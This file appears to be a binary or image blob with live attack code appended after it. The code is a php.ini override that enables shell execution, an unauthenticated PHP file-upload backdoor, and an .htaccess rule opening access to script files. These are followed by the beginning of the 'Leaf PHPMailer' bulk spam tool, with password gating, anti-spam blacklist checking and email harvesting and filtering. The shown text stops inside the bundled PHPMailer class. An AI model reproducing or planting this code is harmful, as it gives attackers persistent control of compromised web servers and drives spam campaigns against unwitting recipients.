&Aо4[~\mq{;mS#ǒtڏ-.RIw瓏ID=ҟ}b]Wʒ1Hh0}bJѕT#ufJP80,exj}ۤНi,IN/fHY kQgRx~P!cnymoejthlnhܷaW;O`^Y~{R~C!mYѥqM,_Xtnipsxvqzy`*.r4Id
uHb+0ؠ[L{RT&~0zm^{F_*[è .lH)sOD?-\ܣ)؄/Tn]\g|w 6m$'۾,DʁLO(G8nu{^6!J|f^Cڤbd3,0/ğ7;IL`7t5 uk
N
Yz"T^N,o=tnipsxvqzyPz2Yf/9UicnymoejthlK|vբbC+^V	~v.N\j?ߵUJ`Y	;#9 Y.G;4wtʖ*T$DTyM ג	ߥbueBfp"qLľk?-1A_'ptnipsxvqzyCE^N\	fv.iktnipsxvqzy?}?E~^ǰXI|2eT,Aa
zÏN$XuCMC"jL%j37^P|~tnipsxvqzyt7Q̧0BwΔ/htjOE^=}"m?m5!qlDˉwV(aBR
jE_gkcE\"^\2LWbҴ8Icnymoejthl+HL
4$)1MVaw~|
Evj*cnymoejthlŦRI0M!DAR1JsKK"EqY֭֔ʪ@5]/5nobp1)1@ {Dh*-1# s&IXe,OW`c"j~+؅+IX*H?qܗPbVXtnipsxvqzyUel*iv8Ʊ
J|δ$[ם~aGJ9dmٖ}4+\R
*@/pEqvFlOn'٭T\؋3u8C6otnipsxvqzyJzԙL17J*ߊerkBjw8$`i	g(˧,!Պ=n)lO8w1Q-A׸5Mtnipsxvqzymޗ qQys΅G8~~B43^;#l@\eRsL.qbAj5ײQw48eiGj8c.0x	.='%OcnymoejthlЎDX%n@t0l RرCcnymoejthl[^D7#S5 cnymoejthl1
dqE,rH+t^s[[ïrXe]*5)-ZͤjO =h-0?-\릸F3L)cm\rވu.!Kk_DA|§c\pFD{a\5tnipsxvqzy`p1 G{
4`~V(J6y
z8o"y,tnipsxvqzy+tLcnymoejthlc['˫]csB+vxmuH!M!Dn9^EqT̿oW~2%Q+WzXC^E"~hl/THf}tnipsxvqzy;t!LXH.Z֎I0_ygP0}GtJ=zo0l-ƵX1m:Y~G(S1sp,,̉^ߵkN3bOAږp@;&lꁌW17cxBαڈ,&Ch=ȹ6;lsދ'A	C'a7
Yz($vy/O"Tļ$L1oe}Jof(P0\|ZGrtnipsxvqzyaӠ~gdR9}sfûCUR]
U -C_WWnB_BcnymoejthlgejNK$ҹY3Id55b^_2!t)Zʇ{	[_V#h0:Q9giِ*CI7S)j
BX,ߥQ#LquZ߇{:y qUU\,TMIb
`ɧBl2RjɄgp	DVQFOEe5w뷥r ޖAeKF|`:|&v:&4߈tnipsxvqzy(%p(FKcnymoejthlCquݵ]齙`k($yKWV	i+K3mx5}ot 7JvA|0kS%	摃Uf@n\#@SI;D-OΎcnymoejthlyswW}ܓZQ}g?:)
3THbݒ:cBSl5Ocnymoejthlk!FM&E\_S;U/#|0_ F9i
$*@-zZl˜6fz#76M"!.COItnipsxvqzy|VGbr,
X?{N-Ũ
hH*
Yg)]A46j4cnymoejthlխ̍,$O_htnipsxvqzy pW.dnXb%L3+8weGݟR!9 &/)L#UZ
HtnipsxvqzyЯ| ~մJQM
¤[c[,@PU!(L#/#S2|x԰rRtyO_6[x!A0#]~QNƵL֐%pQ.=MyDLd' KrN.lkvYFb~{, qlޜ_=v*sI;O
C|/W}!_;7RѸ\q%`Mt/\=1%8qBK	
?k[ӒB]9ʣ
Ĭ0ⓣYg~Aj}꫗ղ5Vy47bi-	9,8kVb+*㼊$39LGܚ7U\e/F-$tnipsxvqzyXm9vf7{OFItA6LT*Baohep75ϒ mUuǰ9*OnshъYvtnipsxvqzyS}Me&ɹkzS.ñp
1F ^NOQ71I,Ŕ쐘O\O@íc$չ7r3͓BNXRħ[Stnipsxvqzy[UIҚBt,voD:
N9'9;fH{qŃrYfWdb`elPH&^,7#O?6`&@|L!ni GmSiu\99M]Pۓda^ʬB*0nE$SRi|$$ctnipsxvqzyz)D+N,dv,^_@.?WkpNZN9YVCgl@︌~1̯.;|΢],ʦN^!ˆ~3E!v:R-#RJe[OIo{ B^Lf:tht#@wlbs1PFF.GܚO֧
ΐjR߈$U7X!3	t0Ϸ"e
ܨGP,˃k!$tq*:Bk
$ޥ6)o@tnipsxvqzy5Ptnipsxvqzy3@}.M"-%K8/Ρ5DA#|m#L:AF(vbx% aνCYQPF&e?\qYFtnipsxvqzyf+i˫r3_
8rt#-tnipsxvqzy3E^C4[;2۲K@zqLpetnipsxvqzytnipsxvqzy(1Pz_t"rN$x  cnymoejthl@^/[[Nu`nٛ2p=KZ\+@1CſZM
gXHqWzSHbRJwdV%e9UOLlnU5Y,S	:
dW^)*xiLÙvVdK*m~k)bjJT,ztnipsxvqzyDtL9HNI+tCζN~ccnymoejthlfeNxfG uܲ-Qq7~#RŨg=ջٖz h
[.` CMq
D%S`	cnymoejthl4fܢnQ|/h:8H'½}{z6y,3ĞucnymoejthlϤMqEF,BRbpkh,@tnipsxvqzy:Ǻ"5-9
(I2/tnipsxvqzy|29%aVcDnG\Ϻ\GJU!"Mқ4
.9`7I~n3Lz#6|COu
GF=:1ReAn!Dn(kdxcnymoejthltnipsxvqzy5	F5p75RA:7UiKi$=-C	Ews}_Ntnipsxvqzyq؇ClD#S2o:Cr磒L.C.nUw|*yhǈ8
IH'݉cyWf1Btfi΁tnipsxvqzy ZS*&ebz	V&zd 
?H4"R=W)QHa0	of5jVc9$|tnipsxvqzyZ `9|.sݩARP޲?H&'g'?88.+?pO7X1k/Zwqh_Gr.Wݞ~cVIiT*@wf߃Fycnymoejthle	DQ5Pljyz1i\P)Nb.~ܽ2N:UCFj C}MXcnymoejthltnipsxvqzycnymoejthl4_JWE/WzLQwA3`U4jT"߀60`Bw`?J7x@^d{ͻbޒb8~:gyX°nY9
xntnipsxvqzyTzE`RL1;tnipsxvqzyaA6aA|؛хzpMuEvlU
&Y9ZZJҝSPcMSľXX[ɻt5GkyŞL NcnymoejthlƏG]Jv⍚|tx00+mnSC{, L S-dztfk$Ԭ`&2otnipsxvqzyov"@WgP^(Vw
}vzl'O"+5 ki:
Hycnymoejthl76FKoKԈ],By[(@dLтa[9cnymoejthlqPJSRU%zfYUT'эA'b3emw3}
#?m\q9nX.Y"m|vz[!e}Y5$0L )R8Y}e
8ߒi9Tf%wm#&m6(j=؉vDtQ^=#0 grͅoyBZ!=K|V* t$xZ8h[:O@$];.s,%#.`0%+
YWm`l
|7c%lOF&[HWֱ UVgRQ9;6VHUmoo~G-Vp#OL^p6RfҬ~&~gkfcnymoejthln!YYo/#Rҫ^a8aΖ0!8rԧ(;_FkuW͓cJ7̤
Fi舒=lC09J)_(eZɊd|+gO'Wrp$!ȥ,ےxekc@(]i6t&u"qJ?WEjwfq!WJ yh.,%/
ʯcnymoejthlqm
sv~E^?*;ă[MSi|1Y/*~U~_yC1
PKhϬɤTGϨQwcnymoejthl~A=FWW6lPaq|ڬYpɂq'uxhHY*/S9M29?x5#	kqٔqzcnymoejthlQsݹ`AQ9` a9RREYfO\~a#ÇV&$M;y@H{΂rQ-cnymoejthl\)DAAU,e)g=P-OH9eo4IV%N¹wWWYGղcnymoejthlBf1(
s74TȌ{8b #˸D}#	\rBeL!NcnymoejthlACF\WcҬY0UGd
Rڣt,ߎC3"@U~#l`	όnt6!a\pe+5Q#;x)=cnymoejthlLL'y$ElQրkhhd7z_96]mV$-o!wbS;DJlFM	s0q,50XU:%Iݕu"5nU
,D*x
_?OhƷcnymoejthl.ܸopJb&E.2X[R1؈453|?K[s[Z{EH$-Шf/ͫ6ӷ^( v'hYJKdY@J{tBd5@0?	,@5OnogS#7n] vo8߾y9ǷPV\42f^!{(Jwݱtx3s%2Z^O6(,VB N|S/tޏs`$gi8צ!HִEp1yU2JäD!=%hAu%/Zh;a7T@Kڝn	`{BJN'tE7[F3Km![VGq7欷ۍnOJ
êL*q ^b.ѷPEŅP_q"'5{TЉc%oJn̊cnymoejthlѦы^'ͺ/}nkP
ގ/o3C
Zv~Z$|~ڋMMu;"ғp-mݲ|c
KYc!!-q,	
/_"kpsPmg_Uy!2\cnymoejthlW+[99;LѸtnipsxvqzy):գ`U͂R!TFD oOTZ|(CFh3R9OȤrVjge"t(f
	+b|g1Dl Br2l+~?+b!k_1k	Lk";h/dhcy *(9S_cgXX5?HNۍ
l$,C
Z~HS
I'Ҿqu!rr,iSWYaGErwm.1F0e]S2_9
ReVԜb }Q'H`#h;[U9H;L nkP/,̚P6J[[)JK!53||l;ԥ;$;f}EK퉼㠣$h`YxxJӔ\R$!W	aH;V362.]"mVrQ:BY'U7AEtnipsxvqzyđDӹտPXj
0&tnipsxvqzyN_9&U cޝc׷xUT;T9S.2]-ՓBqͭρZ6q	\WI@7.bePG͌p_LC$vQ}B*|3qQtnipsxvqzy'F2LnRz&LpuNɩTC*B:Pv&-euah8~APtnipsxvqzy\
ZD*yN4s%;3@cnymoejthl=+s#;( Lf
4q@LVj;v?0#VchNon%3W7
WlDXEcNV
&"2Wtnipsxvqzy̦9NItnipsxvqzycw(xvx*|)'yiLDOo[S[E(bɌe}G{ϗr5@^&u2N5̹2M]dV.o:593^3/KvXN1!NHSDǶ rr׽mݒ5`tnipsxvqzycnymoejthlQCAR~NQ}0cnymoejthlJ%h(`et:0j|QkY뮏"ХovF
K	~9ʚ' Bשa.f3/hSz&c?A}޼Q5bE6&cnymoejthl.7Z;. ·΀?YK}^f4tǵӾyp
$7._nbP݄eY
Ӯj
§${Մ8 zP8xAv6( ÜS;AhC6oN"jXӀlD}fǒhcf-5J6f8%\"T?:DrKqY1i1ZIyxe3-!UiIL+픪hfX lpr9M 7]xzyɇ*}  	?09qq@N@+
LEN9h[u	{&mݦDiq}*cnymoejthl83я1ǔ gM`5j⸢ }83i	a~9DW5--	6ۄ("IbK$\٩)%\d7tOԯϊhvCB/pqkH_JUcnymoejthl׽IϢH\tnipsxvqzyiu)}&7vbͫ\B$daμMѠL(OרlS2=3JDC0@7cnymoejthlVz%Q.Nw"g̻l|kFM'wRbii7f	2L%+ich?4Āa[F'\ K7`y?{A)tnipsxvqzyj@`PL:ih,;L/i֮H144?YW3ڵ}K-`A./tnipsxvqzy~kU.1ҖXaNO.p%4Wt40D2e,v(H@oxҔ'3(Euht_maڸ#z듲tnipsxvqzy.$"cnymoejthl#:e컾R#SPocIE }L?	yQb8L=dMރl(N-H@3rCo3+puD'9@v7'bkfHV~@5S2YG%
3^ʳ`FTtnipsxvqzy	tnipsxvqzy34J=pfOsMQgmyz3
gy|wwFfjfK!?ۉ˪x ZMk3ӗ 5`j i^=cnymoejthlysɾ:jNi`YN/M'bSL^xf[Ł@Y8OaA!AM;mO!^^4)l{똦HEh̯XÇ黜}ȕ\'xl`RvYDCO=׫:ЛԖ4THuHQN_Pu ?	BG{j!t^cnymoejthlx~Hc!*tnipsxvqzy);w[T@T8+8N73 ؖZEJq4Np=q .Usڦ3x6|VBe;(,kl%-_1ȼ~{X"aU//j)}z7K9Vҩqr51Pm_9N
F-o#`X$v=K'ŷJ Gr!d҃q& ocnymoejthl?%;.|\&`װRɎ"Gꄲ/xGԣN])S*ZAjRId6nʂ?D
rvp\.%}), &4;ͫCT,6]~)K~%xiѥW=cGfкX@K}s QdFzʂE
]Z~ +u$CI+
4Su\x;aNq6k-憱aCͨnTɉ3~
Q_@m7]'*&qw(I)OnM}kbW
baS]ގZH_+6?":̚CQW,ӛIH9-#,V=ݪ(qǛ,cnymoejthlLcnymoejthl]9$XXtnipsxvqzy8hHµc@e(N,95mtnipsxvqzy(%ds3K*ݼV_nFZU"P#j_Շ16}1	hr5@r:	ymFV&*{[VwsZC,!cWZDYDm6~XCɌ,(ralLݔs
VEV1a/C.a_mINdF)c 3*\+;V7ٟAPrT3Ზ!%sRbW9GO@=zmc4 ^W\\2n@5bacnymoejthlcnymoejthlI$/yjV4=~vV	ߛ^ș_#\\hӇUn̮/]cnymoejthlo]'*9󚿉tnipsxvqzyR5p+
gW܋
w;}S_S{""8n8Q:.[R:DedНBIw4qo{Cyq㹳tnipsxvqzy]J`iEPLf*XLnZt;t;0%"a-|]|jJ	³6co}ν}C3BPW=q,Ujn MAC*__9R xiA&V	ʦpQEobK,p':R8x6_O'JrAHAd\m,fR]
4)swq
"eZ0 RrB^!
!F)	I4+\XH+Wmc)ZRo,vȡ96vHi~bLYGEuKpOݞU
~?0ى=tnipsxvqzyncnymoejthlϕM5aږD:NBMAn)RS_IƠi;a
zBiݕ
z9@҂ZR-HS~N=%+5q
qV`(MWb*hE*cyItnipsxvqzy|2ϲ8me|I?W΂]tnipsxvqzy'T
?q#Q;c}xk%PLf@n?9)V=QI'P%Z_I~7~ԏ-b
e P9#7L}3@=Sр$q(+bO9e*6jdlU;Ț(׎tnipsxvqzyv"%P !
Y9iU2pPkwW2BY|r꒝^onm}/@Hyf0_3+:]&$䉔 0P2K\vXln(r [v$.[Bt(QQlґcnymoejthl8*k&]ROUh0ͥk?xޤn-WzO	^YZ]a2:U{!s!)F#cHh"$vXV )2#
Y
ZA̉X\MϠLX[ys /&"7^_S b o /J
Kn	k2ۀ)%^S~*giKњ;ʨLdEF^}n4OpBGI'(0wV^dP/g=^rAbUAtnipsxvqzy筏7@[@% |sQW2"KvIKCTMcnymoejthl&,ܵyfGCEΏ:kIFhP tnipsxvqzyk@b6	ͨEnViݠ`.|&gaS;v]bEoZ=a[2m#9JlLl5PNQl~AXnGr&	XSOw/hC'89OcEg/gwyˌeh	3Qc0hI+Z grR3N`2Hl
S1K)0]se.tnipsxvqzyƞ캥V2d-3g~#e䈊~r,kxe 7p;-|L{Z_voYd&/M̜HBJtl7 9voKCl՟jG/C̏wx?]|R
$cnymoejthl^]`(1gE$GB4E*ϔK˿O|j$
h%[G/tnipsxvqzyӸ7b\`ˇ]y::ZnEq'C!z(G+
Lێ*q^|ެdȮ,,0x(ntnipsxvqzyV=

bOE ^RIԠtnipsxvqzy)阉wC	F0C!p3BNn%Dߜtnipsxvqzy&}f,4E`=ZBڃlv#mshos)Hd2yB=%3Z㺖އWhajLOv-~7O(yCJ@ ZS45Ӡc\V$Ar!]
(r9"xU :}!HNٰaqV)B5'`4?c˨oIdNRآ+][DaKj$^Zإ/9 L(xVh@TCKcqcnymoejthl9	+xdtnipsxvqzya?
r4){m~ՅNS &1/J9?FW|sIao!vbheӰ"8(b:1)XWJiSP[
1ȸuZ4N;"cnymoejthl9yU+ q)69t0R+zagsn*H)d
f$ŧ[ȚrNN,3;c"8Na^1'PK!kHO G3x8KX"ǿ;@(-fB%I!s|
dv?tI9g aH]9B\V74\Hj4#xE/).or4!zG;ViǡU*o(Po|JgD U{Ycnymoejthl!z=ir5,XA;(0,׮VmI08omImȚIVT:=cnymoejthl  ui1Ͽ"l7o:~=OV]|"]~!O̟LF譂**G(&2s#a?fBt!?-_8a8=! cnymoejthlN;2tnipsxvqzyMr t{k:;|A~ˏ&=~v[aKscnymoejthlO}Pq0)	S/k!pjSA?oB
teRW?6eqJ!Si2,Όíj˴f)ʧ?4a \vt2MZ9v(xcnymoejthlV8&*yB2Xom\^{NW|$T.Ҳ|tCHob/Uli؋R:RwxQf΢RVT7):2쒙N:D'2_`:G@s]pvNZ*r+J(5Uj*`ΨLM]n)iȕpiR4iäE)U-NK%,(V(n3s3K!tB cnymoejthl$4cnymoejthlz:vShy,=S6ZqΓ4,"`s7mqT֢a߹jJ7mdR[?V~ĝ3_Ů]PMrSL(B5,,]zW܉X=+M;"3_H$L*]#uh+cnymoejthl~ƀ2{GCIn(`tnipsxvqzy@lPuq~1K?0EbɑL*ވinF]ʂ_cnymoejthl1 |2G|{`(5Sz_q(&^uo;wx%s_6ļdPMIکcnymoejthlWx"KΑ4fq%"mB`*\+PPlnA*[hl|~m2'rB]_Ze
611upq哎"sS+=QDo?@j6!@.}Z߱azA&`!PԐi
tnipsxvqzy:bJs *vԻ`,!yySJ'^/9{WM]
EȹՀSل~Kdo3Ոe\e,%Joڲcnymoejthl08
kEd`5y!}y77Bմn!P%R	V~GS#&{h]g9mB	=+CmD#_M^/Db[=w=7;q+x|yЖjcvۚƾ'6aSUTi|Z0"MAb7WN\'"otK9Wq-{4~\g&(s:U3JCwA:cg4iwLץc5n)}o."8w\z
Gb,?dCbPD.NX8BFU
?ʝfYBӴ&2ltLUMf@?d-DAmq&}|c\(O,*qCxP@[d_Ɩ8JgbYXtnipsxvqzy}:9s+jhL1t?XyLLlV1)$u(~$tnipsxvqzys1$I.yLΥKicdMRcnymoejthlb@?x S|k `Y3DlHC]O*wrgA1Mic!k~{X.£-spʑ摐NEQK+
$snD%U$xO%T"nYXeMf
vw})TcnymoejthltK7g	!WbXHq:磴KQ+&,Ʀ:`Q\.'tnipsxvqzyE?Xu=.!tncnymoejthlyKBf	 ,r}xwwhh3ǈH3}+-[|HYB[]^$cۆ3b♝.FU.4Bnx4U0M^xZ?
]LO0Q+Q`94;ZC%g
\KX3jSn%#xD
QѲomf2V	bh6T=|U  ˰P{i(LJO"t1PVB0AfcnymoejthlA*ψZl*cnymoejthl\`]pL6s\1qX!;p4
E(hc֟+TtnipsxvqzybYxA1/tuF\)uAm-anڗǪE?%c,uvpyZZ^iX̊SC89
M}m`2ػǤXp(N0y!EEcnymoejthlGNPICU[SKcnymoejthl9zUzYݳ|cEMyRtnipsxvqzy:,Vt:8CD	ۙ[EYqtN.R~:ٓ.^cnymoejthl㉅{U!O"SRݻ{{0o-`F LQܤ԰r10Oal4~ D4m	|'@	7tu-%
|;%2g\F	U(utnipsxvqzy)Z	S^T/ArH^Ǵ"]6o^,-kZKTC]ҵ|Dצ\/u-iu"#wK4GMWo5fJyWyS68#ɷtˣ)iC,4+cS2[xYZ8!}wrIzkbR,*^$IN9:wo/S'[ehAw |#/\ǉ1gRʅ,ɽ|!Oho]
锹L{4a~yڿkR-B^[qE
J;hU /82ghy4~N(40V9{V~7C
9Q1Zb91W:2+d1dԖ]n͛D+kTZ&dMMoF/'W
+社E[#ur|MI%]kf[۵37
rMƅ;,^;1''EI+J~Y
r}- iz曓ZW%XRǜ,r.PzbTB՗ۍFXBtnipsxvqzy.!:LC FloFQuYƞx;gsr/x+riO۫z7kȊHۓ3P׫[/5s h#ˮza7ͳm/u@$kgGc4_w]E	d,iXQPVi%2ǆ*.SRM'8X^Q*
N*
؞uI]Ccnymoejthl/d+e-ѤAoBA3잔RQ:Xz8j^v.~=
p"|bCuDX:.\YdVbaDe"t;g-,2' (0~h%+V̎hTcnymoejthl6JۜQl({s8@qg|lM*eeB ^;2jM1@Xi*x~=Vz=H;&ي?C9GL}J.p*?Z]\ÃC7~Ӷa~ʙ Q*+VYQ5
:'Wcnymoejthlz}}rsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "BvidOGUMXt8";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
